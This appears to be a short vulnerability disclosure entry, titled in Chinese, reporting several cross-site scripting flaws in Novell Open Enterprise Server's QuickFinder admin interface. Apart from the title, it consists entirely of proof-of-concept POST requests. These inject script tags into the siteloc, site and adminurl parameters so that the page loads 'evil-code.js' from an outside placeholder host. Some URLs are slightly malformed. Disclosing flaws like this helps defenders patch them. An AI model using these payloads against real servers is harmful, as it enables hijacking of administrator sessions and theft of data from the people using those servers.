Novell Open Enterprise Server QuickFinder多个跨站脚本漏洞

https://server:2200/qfsearch/AdminServlet?&req=displayaddsite Post: siteloc=%22%3E%3Cscript%20src=http://www.example2.com/scripts/evil-code.js%3E%3C/script%3E Post: https://server:2200/qfsearch/AdminServlet?site=globalsearchsite&req=generalproperties site="><script src=http://www.www.example2.com/scripts/evil-code.js></script> Post: https://server:2200/qfsearch/AdminServlet?&req=clusterserviceproperties site="><script src=http://www.www.example2.com/scripts/evil-code.js></script> https://server2200/qfsearch/AdminServlet?&req=global&adminurl="><script src=http://www.www.example2.com/scripts/evil-code.js></script>